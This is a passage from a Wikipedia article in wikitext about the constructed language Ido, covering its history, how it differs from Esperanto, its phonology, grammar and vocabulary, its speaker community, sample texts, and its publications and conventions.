The language still has active speakers today, and the Internet has sparked a renewal of interest in the language in recent years.  The estimates of the number of speakers range from 250 to 5000. In comparison, [[Esperanto]] has at least 100,000 ([[Sidney S. Culbert|Culbert's]] widely cited estimate  of [[Esperanto#Geography_and_demography | 1.6 million speakers]] is controversial).

Jespersen, who was present during the ten days of Committee deliberations in Paris and later served as part of the permanent Commission, wrote a history of Ido. {{ref|Jesperson}}

A number of Esperanto supporters have attacked Ido over the years.  The Esperantist [[Don Harlow]] has characterized Ido's founders as underhanded and conspiratorial{{ref|Harlow}}.  However, most Ido partisans argue that Harlow's history is polemical and does not jibe with all the eyewitness accounts, such as those reported by Jespersen. Harlow claims to base his account on material from some other eyewitnesses such as [[Emile Boirac]] and [[Gaston Moch]] and with other source documentation (such as Zamenhof's correspondence with Couturat and others during the period), to which Jespersen (he says) did not have access.

== Comparison with Esperanto ==
:''Main article: [[Esperanto and Ido compared]]''
In spite of the fact that Ido technically ranks among the three largest constructed languages in the world, its user base is much smaller than that of Esperanto to the extent that the average person has never heard of the language. In contrast to this, many people who have never bothered to learn Esperanto still have an idea of its existence, its goals as a language and perhaps even a general idea of how the language itself works. Because of this, often the easiest way to explain Ido is to first show in what way it differs from Esperanto.

Ido inherits many features of [[Esperanto grammar|the grammar of Esperanto]], and in many cases the vocabulary is similar.  Ido shares with Esperanto the goals of grammatical simplicity and consistency, ease of learning, and the use of [[loanword]]s from various European languages.  The two languages, to a great extent, are mutually intelligible. However, certain changes were introduced to address some of the concerns that had arisen about Esperanto.  These include:

* Esperanto's [[alphabet]] uses six non-Latin letters, three of which are not found in any other existing language; as a result, Esperanto in typing and in Internet e-mail and newsgroups frequently resorts to any of several schemes to represent these special letters.  This leads to the situation where the same word may be displayed any of several different ways.  Ido addresses this issue by using the 26-letter [[Latin alphabet]] with two [[Digraph (orthography)|digraphs]], ''ch'' ({{IPA|/&amp;#679;/}}) and ''sh'' ({{IPA|/&amp;#643;/}}) instead of Esperanto's ''ĉ'' and ''ŝ''. The digraph ''qu'', representing {{IPA|/k&amp;#695;/}}, as in English &quot;quick&quot;, is used instead of Esperanto ''kv'', and likewise ''gu'' is used instead of ''gv''.  Ido orthography is phonetic in the sense that each written word has an unambiguous pronunciation, but it does not have the one-to-one correspondence between letters and [[phoneme]]s that Esperanto has.
* Ido generally does not impose rules of grammatical [[agreement (linguistics)|agreement]] between grammatical categories within a sentence, believing them to be grammatically complex and redundant in a potential universal second language. For example, in Esperanto, the verb in a sentence is invariable regardless of the number and person of the subject. This principle was not extended in Esperanto to adjectives and nouns, however; as a result, in Esperanto an adjective must agree in number and case with the noun it modifies as with the French ''grands livres'' (large books), where the adjective must be pluralized as well as the noun.  There is no such requirement in English, for example, where number is emphasized by variation of the verb, and Ido eliminates this feature from its grammar.
* Esperanto requires the use of the ''-n'' ending to signify the use of the [[accusative case]]. Ido allows the use of this feature in ambiguous situations where the object of a sentence does not follow the subject, but in all other situations the accusative case was eliminated as redundant.
* Ido imposes consistent rules on the use of endings to transform a word from one meaning or part of speech to another, thus simplifying the amount of vocabulary memorization that is necessary.
* Ido, unlike Esperanto, does not assume the male sex as the default for family relationship words, and thus does not, for example, derive the word for &quot;sister&quot; by adding a feminine suffix to the word for &quot;brother&quot;, as standard Esperanto does. Instead, some relationship root words are defined as sex neutral, and two different suffixes derive masculine- and feminine-specific words from the root&amp;mdash;frato (sibling) &gt; fratulo (brother), fratino (sister).  In other cases, Ido has two or three root words where Esperanto has one&amp;mdash;genitoro (parent), patro (father), matro (mother).
* Ido's vocabulary attempts to use [[cognate]]s that are shared in common by as many of its six source languages as possible.
Nevertheless, modern Esperanto has received some influence from Ido in areas such as a clarification of the rules for word derivation and suffixes like ''-oz-'' (&quot;abundant in&quot;) and ''-end-'' (&quot;required to&quot;).

== Phonology ==

Ido has the same typical five-vowel system (a, e, i, o, u have their [[International Phonetic Alphabet|IPA]] values) as Esperanto, and most of the same consonants, omitting two consonant [[phoneme]]s used by Esperanto, IPA {{IPA|/x/}} and {{IPA|/&amp;#676;/}}. (The distinctions between {{IPA|/x/ : /h/}} and between {{IPA|/&amp;#676;/ : /&amp;#658;/}} carry a very low functional load in Esperanto, and so were deemed to be unnecessary in Ido.) Without those two consonant phonemes, the consonants in the language are as follows:

{| border=1 align=center cellspacing=0 cellpadding=3 style=&quot;text-align:center; font-size: larger; border-collapse: collapse;&quot;
|- style=&quot;font-size: x-small;vertical-align:top;&quot;
!
! colspan=&quot;2&quot; | [[Bilabial consonant|Bilabial]]
! colspan=&quot;2&quot; | [[Labiodental consonant|Labio-&lt;br/&gt;dental]]
! colspan=&quot;2&quot; | [[Alveolar consonant|Alveolar]]
! colspan=&quot;2&quot; | [[Postalveolar consonant|Post-&lt;br/&gt;alveolar]]
! colspan=&quot;2&quot; | [[Palatal consonant|Palatal]]
! colspan=&quot;2&quot; | [[Velar consonant|Velar]]
! colspan=&quot;2&quot; | [[Glottal consonant|Glottal]]
|-
! style=&quot;font-size: x-small&quot; | [[Plosive consonant|Plosive]]
| {{IPA|p}} || {{IPA|b}}
| colspan=&quot;2&quot; | &amp;nbsp;
| {{IPA|t}} || {{IPA|d}}
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| {{IPA|k}} || {{IPA|g}}
| colspan=&quot;2&quot; | &amp;nbsp;
|-
! style=&quot;font-size: x-small&quot; | [[Nasal consonant|Nasal]]
| &amp;nbsp; || {{IPA|m}}
| colspan=&quot;2&quot; | &amp;nbsp;
| &amp;nbsp; || {{IPA|n}}
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
|-
! style=&quot;font-size: x-small&quot; | [[Flap consonant|Tap]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| &amp;nbsp; || {{IPA|ɾ}}
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
|-
! style=&quot;font-size: x-small&quot; | [[Fricative consonant|Fricative]]
| colspan=&quot;2&quot; | &amp;nbsp;
| {{IPA|f}} || {{IPA|v}}
| {{IPA|s}} || {{IPA|z}}
| {{IPA|ʃ}} || {{IPA|ʒ}}
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| {{IPA|h}} || &amp;nbsp;
|-
! style=&quot;font-size: x-small&quot; | [[Affricate consonant|Affricate]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| {{IPA|ʦ}} || &amp;nbsp;
| {{IPA|ʧ}} || &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
|-
! style=&quot;font-size: x-small&quot; | [[Lateral consonant|Lateral approximant]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| &amp;nbsp; || {{IPA|l}}
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
|-
! style=&quot;font-size: x-small&quot; | [[Approximant]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| &amp;nbsp; || {{IPA|j}}
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
|-
|}

The accent rule in Ido is regular, but slightly more complex than that of Esperanto: all polysyllables are stressed on the penultimate (second from last) syllable except for verb [[infinitive]]s, which are stressed on the ultimate syllable&amp;mdash;'''sko'''lo, ka'''fe'''o and '''ler'''nas for &quot;school&quot;, &quot;coffee&quot; and &quot;learn&quot;, but i'''rar''', sa'''var''', and drin'''kar''' for &quot;to go&quot;, &quot;to know&quot;, and &quot;to drink&quot;.

== Grammar ==

Each word in the Ido vocabulary is built from a root word.  A root word consists of a root and a grammatical ending.  Other words can be formed from that word by removing the grammatical ending and adding a new one, or by inserting certain [[affix]]es between the root and the grammatical ending.  As with Esperanto, Ido is grammatically invariable; there are no exceptions in Ido, unlike in natural languages.

Some of the grammatical endings are defined as follows:

{| class=&quot;wikitable&quot;
! bgcolor=&quot;#CCCCCC&quot; | Grammatical form || Ido || Esperanto || English
|-
| bgcolor=&quot;#CCCCCC&quot; | [[Noun|Singular noun]] || ''' -o''' (libro)|| '''-o''' libro || book
|-
| bgcolor=&quot;#CCCCCC&quot; | [[Noun|Plural noun]] || '''-i''' (libri) || '''-oj''' (libroj) || books
|-
| bgcolor=&quot;#CCCCCC&quot; | [[Adjective]] || '''-a''' (varma) || '''-a''' (varma) || warm
|-
| bgcolor=&quot;#CCCCCC&quot; | [[Adverb]] || '''-e''' (varme) || '''-e''' (varme) || warmly
|-
| bgcolor=&quot;#CCCCCC&quot; | [[Infinitive|Present tense infinitive]] || '''-ar''' (irar) || '''-i''' (iri) || to go
|-
| bgcolor=&quot;#CCCCCC&quot; | [[Infinitive|Past tense infinitive]] || '''-ir''' (irir) || N/A || to have gone
|-
| bgcolor=&quot;#CCCCCC&quot; | [[Infinitive|Future tense infinitive]] || '''-or''' (iror) || N/A || to be going to go
|-
| bgcolor=&quot;#CCCCCC&quot; | [[Present tense|Present]] || '''-as''' (iras) || '''-as''' (iras) || go, goes
|-
| bgcolor=&quot;#CCCCCC&quot; | [[Past tense|Past]] || '''-is''' (iris) || '''-is''' (iris) || went
|-
| bgcolor=&quot;#CCCCCC&quot; | [[Future tense|Future]] || '''-os''' (iros) || '''-os''' (iros) || will go
|-
| bgcolor=&quot;#CCCCCC&quot; | [[Imperative]] || '''-ez''' (irez) || '''-u''' (iru) || go!
|- 
| bgcolor=&quot;#CCCCCC&quot; | [[Conditional mood|Conditional]] || '''-us''' (irus) || '''-us''' (irus) || would go
|}


These are the same as in Esperanto except for ''-i'', ''-ir''/''-ar''/''-or'' and ''-ez''.  Esperanto marks noun plurals by an ''agglutinative'' ending ''-j'' (so plural nouns end in ''-oj''), uses ''-i'' for verb infinitives (Esperanto infinitives are tenseless), and uses ''-u'' for the imperative. Verbs in Ido do not conjugate depending on person, number or gender; the -'''as''', -'''is''', and -'''os''' endings suffice whether the subject is I, you, he, she, they, or anything else.

===Syntax===
Ido word order is generally the same as English ([[subject verb object]]), so the sentence ''Me havas la blua libro'' is the same as the English &quot;I have the blue book&quot;, both in meaning and word order. There are a few differences, however:
*Adjectives can be written either before the noun as in English, or after the noun as in [[French language|French]]. Thus, ''Me havas la libro blua'' is also permissible.
*Ido has the optional -n accusative ending that is used when the object of the sentence is not clear, or it may be used to alter word order when desired. ''La blua libron me havas'' is another acceptable way of saying the same thing.

Negation occurs in Ido by simply affixing '''ne''' to the front of a verb: '''Me ne havas libro''' means &quot;I do not have a book&quot;. This as well does not vary, and thus the &quot;I do not&quot;, &quot;He does not&quot;, &quot;They do not&quot; before a verb are simply '''Me ne''', '''Il ne''', and '''Li ne'''. In the same way, past tense and future tense negatives are formed by '''ne''' in front of the conjugated verb. &quot;I will not go&quot; and &quot;I did not go&quot; become '''Me ne iros''' and '''Me ne iris''' respectively.

Yes/no questions are formed by the particle '''ka''' in front of the question. &quot;I have a book&quot; (me havas libro) becomes '''Ka me havas libro?''' (do I have a book?). '''Ka''' can also be placed in front of a noun without a verb to make a simple question, corresponding to the English &quot;is it?&quot; '''Ka Mark?''' can mean &quot;Are you Mark?&quot;, &quot;Is it Mark?&quot;, &quot;Do you mean Mark?&quot; depending on the context.

===Pronouns===
The [[pronoun]]s of Ido were revised to make them more acoustically distinct than those of Esperanto, which all end in ''i''. Especially the singular and plural first-person pronouns ''mi'' and ''ni'' may be difficult to distinguish in a noisy environment, so Ido has ''me'' and ''ni'' instead. Ido also distinguishes between [[T-V distinction|intimate (''tu'') and formal (''vu'')]] second-person singular pronouns as well as plural second-person pronouns (''vi'') not marked for intimacy.  Furthermore, Ido has a pan-gender third-person pronoun ''lu'' (it can mean &quot;he&quot;, &quot;she&quot;, or &quot;it&quot;, depending on the context) in addition to its masculine (''il''), feminine (''el''), and neuter (''ol'') third-person pronouns. 

{|class=&quot;wikitable&quot; 
|+'''Pronouns'''
!rowspan=&quot;3&quot;|
!colspan=&quot;7&quot; valign=&quot;top&quot;|singular
!colspan=&quot;6&quot; valign=&quot;top&quot;|plural
!rowspan=&quot;3&quot; valign=&quot;top&quot;|indefinite
|-
!rowspan=&quot;2&quot; valign=&quot;top&quot;|first
!colspan=&quot;2&quot; valign=&quot;top&quot;|second
!colspan=&quot;4&quot; valign=&quot;top&quot;|third
!rowspan=&quot;2&quot; valign=&quot;top&quot;|first
!rowspan=&quot;2&quot; valign=&quot;top&quot;|second
!colspan=&quot;4&quot; valign=&quot;top&quot;|third
|-
!''familiar''
!''formal''
!''masculine''
!''feminine''
!''neuter''
!''pan-gender''
!''masculine''
!''feminine''
!''neuter''
!''pan-gender''
|-
!English
|align=&quot;center&quot;|I
|align=&quot;center&quot;|thou¹
|align=&quot;center&quot;|you¹
|align=&quot;center&quot;|he
|align=&quot;center&quot;|she
|align=&quot;center&quot;|it
|align=&quot;center&quot;|he/it
|align=&quot;center&quot;|we
|align=&quot;center&quot;|you
|align=&quot;center&quot;|&amp;nbsp;
|align=&quot;center&quot;|&amp;nbsp;
|align=&quot;center&quot;|&amp;nbsp;
|align=&quot;center&quot;|they
|align=&quot;center&quot;|one
|-
!Esperanto
|align=&quot;center&quot;|mi
|align=&quot;center&quot;|ci¹
|align=&quot;center&quot;|vi¹
|align=&quot;center&quot;|li
|align=&quot;center&quot;|ŝi
|align=&quot;center&quot;|ĝi
|align=&quot;center&quot;|ĝi²
|align=&quot;center&quot;|ni
|align=&quot;center&quot;|vi
|align=&quot;center&quot;|&amp;nbsp;
|align=&quot;center&quot;|&amp;nbsp;
|align=&quot;center&quot;|&amp;nbsp;
|align=&quot;center&quot;|ili
|align=&quot;center&quot;|oni
|-
!Ido 
|align=&quot;center&quot;|me
|align=&quot;center&quot;|tu
|align=&quot;center&quot;|vu
|align=&quot;center&quot;|il(u)
|align=&quot;center&quot;|el(u)
|align=&quot;center&quot;|ol(u)
|align=&quot;center&quot;|lu
|align=&quot;center&quot;|ni
|align=&quot;center&quot;|vi
|align=&quot;center&quot;|ili
|align=&quot;center&quot;|eli
|align=&quot;center&quot;|oli
|align=&quot;center&quot;|li
|align=&quot;center&quot;|on(u)
|}
&lt;small&gt;¹ ''ci'' and ''thou'', while technically the familiar form of the word &quot;you&quot; in Esperanto and English, respectively, are almost never used. Results on Google have shown that while ''tu'' is only slightly less common than ''vu'' in Ido, ''ci'' is used less than half of one percent of the amount ''vi'' is in Esperanto. Esperanto's inventor himself did not include the pronoun in the first book on Esperanto and only later reluctantly; later he recommended against using ''ci'' on the grounds that different cultures have conflicting traditions regarding the use of the familiar and formal forms of &quot;you&quot;, and that a universal language should avoid the problem by simply using the formal form in all situations. Unlike some other languages that use a formal second person pronoun, ''vi'' is not capitalized. {{ref|eventoj}}&lt;/small&gt;

&lt;small&gt;² ''tiu'', though not a pronoun, is usually used in this circumstance, because many people have a hard time applying &quot;it&quot; to humans.&lt;/small&gt;

It should be noted that ''ol'', like English ''it'' and Esperanto ''ĝi'', is not limited to inanimate objects, but can be used &quot;for entities whose sex is indeterminate: ''babies, children, humans, youths, elders, people, individuals, horses, cows, cats,'' etc.&quot;

''Lu'' is often mistakenly labeled an [[epicene]] pronoun, that is, one that refers to both masculine and feminine beings, but in fact ''lu'' is more properly a &quot;pan-gender&quot; pronoun, as it is also used for referring to inanimate objects. From ''Kompleta Gramatiko Detaloza di la Linguo Internaciona Ido'' by Beaufront:

&lt;small&gt;''Lu'' (like ''li'') is used ''for all three genders.'' That ''lu'' does duty for the three genders at will in the singular is not in itself any more astonishing than seeing ''li'' serve the three genders at will in the plural ... By a decision (1558) the Idist Academy rejected every restriction concerning the use of ''lu.'' One may thus use that pronoun in exactly the same way for a thing and a person of obvious sex as for animals of unknown sex and a person that has a genderless name, like ''baby, child, human,'' etc., these being as truly masculine as feminine.&lt;/small&gt;

&lt;small&gt;The motives for this decision were given in &quot;Mondo&quot;, XI, 68: ''Lu'' for the singular is exactly the same as ''li'' for the plural. Logic, symmetry and ease demand this. Consequently, just as ''li'' may be used for people, animals, and things whenever nothing obliges one to express the gender,  so ''lu'' may be used for people, animals, and things under the same condition. The proposed distinction would be a bothersome subtlety...&lt;/small&gt;

===Vocabulary===
Vocabulary in Ido is based on words that give the greatest facility to the most number of speakers. During its inception the first 5000+ roots were analyzed compared to the vocabulary of English, French, Spanish, German, Russian and Italian, and the following result was found {{ref|dyer}}:

*2024 roots (38%) belong to 6 languages 
*942 roots (17%) belong to 5 languages
*1111 roots (21%) belong to 4 languages
*585 roots (11%) belong to 3 languages
*454 roots (8%) belong to 2 languages
*255 roots (5%) belong to 1 language
**Total 5371 100%

In addition, a comparison of Ido vocabulary to the six shows the following for the similarities of Ido to the six languages above:

*French 4880: 91% 
*Italian 4454: 83% 
*Spanish 4237: 79% 
*English 4219: 79% 
*German 3302: 61% 
*Russian 2821: 52%

This is consistent with the fact that Ido is sometimes mistaken for French, Italian or Spanish at first sight.

Comparison of vocabulary with the six languages:

{| class=&quot;wikitable&quot;
!Ido!!English!!Italian!!French!!German!!Russian!!Spanish
|-
|'''bona'''||good (&quot;bonus&quot;)||buono||bon||gut (&quot;Bonus&quot;)||khoroshiy (dobriy)||bueno
|-
|'''donar'''||give (&quot;donor&quot;)||dare (&quot;donare&quot;)||donner||geben||darit||dar, donar
|-
|'''filtrar'''||filter||filtrare||filtrer||filtern||filtrovat||filtrar
|-
|'''gardeno'''||garden||giardino||jardin||Garten||ogorod||jardín
|-
|'''kavalo'''||horse (&quot;cavalry&quot;)||cavallo||cheval||Pferd (&quot;Kavallerie&quot;)||kon||caballo
|-
|'''maro'''||sea (&quot;marine&quot;)||mare||mer||Meer||more||mar
|-
|'''naciono'''||nation||nazione||nation||Nation||natsia||nación
|-
|'''studiar'''||study||studiare||étudier||studieren||izuchat||estudiar
|-
|'''yuna'''||young||giovane (&quot;junior&quot;)||jeune||jung||molodoy (yuniy)||joven
|-
|}

Vocabulary in Ido is often created through a number of official prefixes and suffixes that alter the meaning of the word.  This allows a user to take existing words and modify them to create [[neologism|neologisms]] when necessary, and allows for a wide range of expression without the need to learn new vocabulary each time. Though their number is too large to be included in one article, some examples include:
*The diminutive suffix '''-et-'''. '''Domo''' (house) becomes '''dometo''' (cottage), and '''libro''' (book) becomes '''libreto''' (novelette or short story).
*The pejorative suffix '''-ach-'''. '''Domo''' becomes '''domacho''' (hovel), and '''libro''' becomes '''libracho''' (a shoddy piece of work, pulp fiction, etc.)
*The prefix '''retro-''', which implies a reversal. '''Irar''' (to go) becomes '''retroirar''' (to go back, backward) and '''venar''' becomes '''retrovenar''' (to return).

New vocabulary is generally created through an analysis of the word, its [[etymology]], and reference to the six source languages. If a word can be created through vocabulary already existing in the language then it will usually be adopted without need for a new radical (such as '''wikipedio''' for ''wikipedia'', which consists of '''wiki''' + '''enciklopedio''' for ''encyclopedia''), and if not an entirely new word will be created. The word '''alternatoro''' for example was adopted in [[1926]], likely because five of the six source languages used largely the same [[orthography]] for the word, and because it was long enough to avoid being mistaken for other words in the existing vocabulary. {{ref|neologismo}} Adoption of a word is done through consensus, after which the word will be made official by the [[Uniono por la Linguo Internaciona Ido|union]]. Care must also be taken to avoid [[homonym]]s if possible, and usually a new word undergoes some discussion before being adopted. Foreign words that have a restricted sense and are not likely to be used in everyday life (such as the word ''[[intifada]]'' to refer to the conflict between [[Israel]] and [[Palestinian territories|Palestine]]) are left untouched, and often written in italics.

==Ido-speaking community==

The vast majority of Ido speakers find out about the language after learning about Esperanto, and so the percentage of Idists who know Esperanto is much higher than vice versa. The largest number of Ido speakers are found in [[Germany]], [[France]], and [[Spain]].

As with all constructed languages, gauging the number of speakers of Ido is an extremely difficult task. Moreover, it is also necessary to distinguish between the number of Ido ''speakers'' and Ido ''supporters''. Ido resembles Esperanto, and many Esperantists have learned Ido out of curiosity while still not using it, preferring to support the more well-known Esperanto movement instead. On one Esperanto bulletin board was written the following which sums this up well:

&lt;blockquote&gt;Mi provis Idon antaŭ Esperanto, kaj alvenis konklude: la diferoj estas efike trivialaj, komparite al pli gravaj koncernaĵoj (kiujn mi ne detalos ĉi tie). Pro tio mi elektis subteni Esperanton, kaj ne subteni Idon, kvankam eble mi lernos Idon por hobio. Tamen via id-vortoj estas bone komprenebla al mi, kaj mi uzus Idon, se ne ekzistis tre pli subtenita lingvo&lt;br&gt;
&lt;br&gt;I tried Ido before Esperanto, and came to conclude that the differences are in fact trivial, compared to larger concerns (that I will not go into detail about here). For that &lt;i&gt;[the larger speaker community and volume of material]&lt;/i&gt; I chose to support Esperanto and not to support Ido, though I will be able to learn Ido as a hobby. However, your writing in Ido &lt;i&gt;[responding to an Ido speaker]&lt;/i&gt; is comprehensible to me, and I would use Ido, if there did not exist a much more supported language. [http://gxangalo.com/modules/newbb/viewtopic.php?topic_id=112&amp;viewmode=flat&amp;order=ASC&amp;start=19] &lt;/blockquote&gt;

It is possible to find trilingual discussions of this nature on the Internet in English, Esperanto and Ido, each understanding the other with little problem. 

A number of Esperantists viewed the schism of Ido as a mixed blessing, and a number of writings show that some were inversely glad to see those who were interested only in creating a perfect language by constantly reforming it leave the fold so that those remaining could work on using and promoting the language itself. However, these &quot;constant reformers&quot; eventually moved on to other reform projects, few of which survived much beyond the deaths of the authors themselves, and Ido has remained constant since then&amp;mdash;it is safe to say that were Ido a community of language reformers during its early days, that this is not the case anymore. {{ref|changes}}

A small sample of 24 Idists during late 2005 showed that 57% had begun their studies of the language during the past three years, 32% from the mid-1990s to 2002, and 8% had known the language from before.

==Language examples==
===La Princeto (The Little Prince)===

:Chapter 17 of [[The Little Prince]]; the conversation between the Little Prince and the snake upon his arrival on Earth. The title of the Ido-language version is '''La Princeto'''.


'''CHAPITRO XVII'''
:(...)
:&amp;ndash;Bona nokto ! &amp;ndash;dicis la surprizata princeto.
:&amp;ndash;Bona nokto ! &amp;ndash;dicis la serpento.
:&amp;ndash;Adsur qua planeto me falis ? &amp;ndash;questionis la princeto.
:&amp;ndash;Adsur Tero, sur Afrika. &amp;ndash;respondis la serpento.
:&amp;ndash;Ha !... Kad esas nulu sur Tero ?
:&amp;ndash;To esas la dezerto, e nulu esas sur la dezerti. Tero esas tre granda &amp;ndash;dicis la serpento.

:La princeto sideskis sur stono e levis lua okuli a la cielo.

:&amp;ndash;Me questionas a me &amp;ndash;lu dicis- ka la steli intence brilas por ke uladie singlu povez trovar sua stelo. Videz mea planeto, olu esas exakte super ni... ma tre fore !
:&amp;ndash;Olu esas bela planeto &amp;ndash;dicis la serpento-. Por quo vu venis adhike ?
:&amp;ndash;Esas chagreneto inter floro e me &amp;ndash;dicis la princeto.
:&amp;ndash;Ha ! &amp;ndash;dicis la serpento.

:E la du permanis silence.

:&amp;ndash;Ube esas la personi ? &amp;ndash;klamis fine la princeto-. Onu esas kelke sola sur la dezerto...
:&amp;ndash;Inter la personi onu anke esas sola &amp;ndash;dicis la serpento.
 
:La princeto regardis la serpento longatempe.

:&amp;ndash;Vu esas stranja animalo ! &amp;ndash;dicis la princeto-. Vu esas tam tenua kam fingro...
:&amp;ndash;Yes, ma me esas plu potenta kam fingro di rejo &amp;ndash;dicis la serpento.

:La princeto ridetis.

:&amp;ndash;Me ne kredas ke vu esas tre potenta, mem vu ne havas pedi... nek vu povas voyajar...
:&amp;ndash;Me povas transportar vu plu fore kam navo -dicis la serpento.

:Ed olu spulis la maleolo di la princeto, same kam ora braceleto.

:&amp;ndash;Ta quan me tushas retroiras a la tero deube lu venis. Ma vu esas pura e vu venas de stelo...

:La princeto nulon respondis.

:&amp;ndash;Me kompatas vu, qua esas tante sola sur ta harda granita Tero. Me povas helpar vu se vu sentas nostalgio a vua planeto. Me povas...

:&amp;ndash;Ho ! &amp;ndash;dicis la princeto-. Me bone komprenis, ma pro quo vu sempre parolas enigmatoze ?

:&amp;ndash;Me solvas omna enigmati &amp;ndash;dicis la serpento.

:E la du permanis silence.

:'''Averto lektenda'''
:La verko '''La princeto''' licencesas sub '''Creative Commons License''', http://creativecommons.org/licenses/by-nc/2.0/legalcode
:Autoro.- Fernando Tejón, krayono@yahoo.es
:Ret-pagino.- http://es.geocities.com/idohispania/laprinceto/laprinceto.html

=== The Lord's Prayer ===
([[Media:Padrenuestro.ogg|listen]])
:Patro nia, qua esas en la cielo,
:tua nomo santigesez;
:tua regno advenez;
:tua volo facesez quale en la cielo
:tale anke sur la tero.
:Donez a ni cadie l'omnadiala pano,
:e pardonez a ni nia ofensi,
:quale anke ni pardonas a nia ofensanti, 
:e ne duktez ni aden la tento, 
:ma liberigez ni del malajo.

== Literature and publications ==
[[Image:Anne Frank in Ido.PNG|right|thumb|280px|Extract from [[The Diary of Anne Frank]] in Ido from the journal ''Adavane!'', published by the Spanish Ido Society.]]
Ido has a number of publications that can be subscribed to or downloaded for free in most cases. The majority of Ido publications are composed mostly of material on various subjects, with a few pages within on the status of the movement and news on upcoming gatherings. ''Kuriero Internaciona'' is a magazine produced in France every few months with a range of topics. ''Adavane!'' is a magazine produced by the Spanish Ido Society every two months that has a range of topics, as well as a few dozen pages of work translated from other languages. ''Progreso'' is the official organ of the Ido movement and has been around since the inception of the movement in 1908. Other sites can be found with various stories, fables or proverbs along with a few books of the Bible translated into Ido on a smaller scale. The site ''publikaji'' has a few podcasts in Ido along with various songs and other recorded material.

The online encyclopedia [[Wikipedia]] includes an [http://io.wikipedia.org Ido-language edition] (known in Ido as ''Wikipedio''); [[as of January 2006]], it has over 13,000 articles.

== Recent International Ido Conventions ==

*'''2005:''' [[Toulouse]], [[France]], 13 participants from 4 countries ([http://www.europa.idolinguo.com/Francia/Idorenkontro2005/ Raporto])
*'''2004:''' [[Kiev]], [[Ukraine]], 17 participants from 9 countries ([http://www.europa.idolinguo.com/Ukrainia/Idorenkontro2004/ Raporto])
*'''2003:''' Grossbothen, [[Germany]], Participants from 6 countries ([http://www.europa.idolinguo.com/Germania/Idokonfero2003/ido.htm Raporto])
*'''2002:''' [[Kraków]], [[Poland]], 14 participants from 6 countries ([http://www.europa.idolinguo.com/Polonia/krakow2002.htm Raporto])
*'''2001:''' [[Nürnberg]], Germany, 14 participants from 5 countries ([http://www.nefkom.net/frank.kasper/konf2001.htm Raporto])
*'''1998:''' Białobrzegi, Poland, 15 participants from 6 countries
*'''1997:''' Bakkum (mun. [[Castricum]]), [[Netherlands]], 19 participants from 7 countries&lt;br&gt;
*'''1995:''' Elsnigk, Germany
*'''1991:''' [[Ostend]], [[Belgium]], 21 participants
*'''1980:''' [[Namur (city)|Namur]], Belgium, 35 participants
*'''1960:''' [[Zürich]], [[Switzerland]], ca. 50 participants

== References and notes ==
#L. Couturat, L. Leau. ''Delegation pour l'adoption d'une Langue auxiliare internationale'' (15-[[24 October]] [[1907]]). Coulommiers: Imprimerie Paul Brodard, 1907
#{{note|Harlow}}Harlow, Don. ''How to Build a Language'', chapter 3.
#{{note|dyer}}L. H. Dyer. &quot;The Problem of an International Auxiliary Language and its Solution in Ido&quot;, pp. 101-124 [http://www.geocities.com/Paris/Rue/8009/idolinguo/101_121.htm], 1923.
#{{note|ido-movado}} ''Ido-movado''. (2005, novembro 15). Vikipedio, La Libera Enciklopedio. Retrieved 19:04, novembro 28, 2005 from http://eo.wikipedia.org/w/index.php?title=Ido-movado&amp;oldid=321224.
#{{note|changes}} Chandler, James. ''Changes in Ido since 1922'', from http://www.geocities.com/Athens/Forum/5037/changes.html
#{{note|Jesperson}} Jespersen, Otto. ''History of our Language (Ido)'' from http://www.geocities.com/Athens/Forum/5037/Hist.html - 1912. Translated from the original Ido available at http://www.geocities.com/Athens/Forum/5037/OJhist.html
#{{note|eventoj}} Eventoj, no. 103, ISSN 01215-959 X. ''Ci'' estas senvalora balasto'' (Ci is useless ballast). 1996. Available at http://www.eventoj.hu/arkivo/eve-103.htm 
#{{note|neologismo}} ''Lexiko di nova vorti'' (lexicon of new words), available at http://www.geocities.com/Athens/Forum/5037/nova.html

==External links==
{{Interwiki|code=io}}
{{Wikibookspar||Ido}}

===Overview and answers to common questions===
* [http://idolinguo.org.uk/ International Language Ido]

===History and opinions on Ido===
* [http://www.langmaker.com/outpost/ido.htm Langmaker.com about Ido]
* [http://www.geocities.com/Athens/Forum/5037/Hist.html Otto Jespersen's history of Ido]
* [http://www.geocities.com/Athens/Forum/5037/PALih.html Another history of Ido]
* [http://donh.best.vwh.net/Esperanto/Historio/raporto.LK.1908.html Emile Boirac's &quot;Report to the World Esperanto Congress, 1908&quot;] about his experiences as part of the Delegation's Committee
* [http://www.geocities.com/Athens/Forum/5037/truth.html Léopold Leau's &quot;The Truth About the Delegation in 1907&quot;], a rebuttal of criticisms made about the events of the Delegation, based on his own experiences as a member of the Delegation
* [http://donh.best.vwh.net/Esperanto/EBook/chap03.html#ido &quot;How to Build a Language&quot;, the section about Ido], and [http://donh.best.vwh.net/Esperanto/EBook/conlang1a.html &quot;Ido: The Beginning&quot;] by Don Harlow
* [http://www.kafejo.com/lingvoj/auxlangs/ido Ido-Pagino da Ailanto] - Discussion about Ido, links to websites, organizations, mailing lists, courses, dictionaries, grammars, etc.
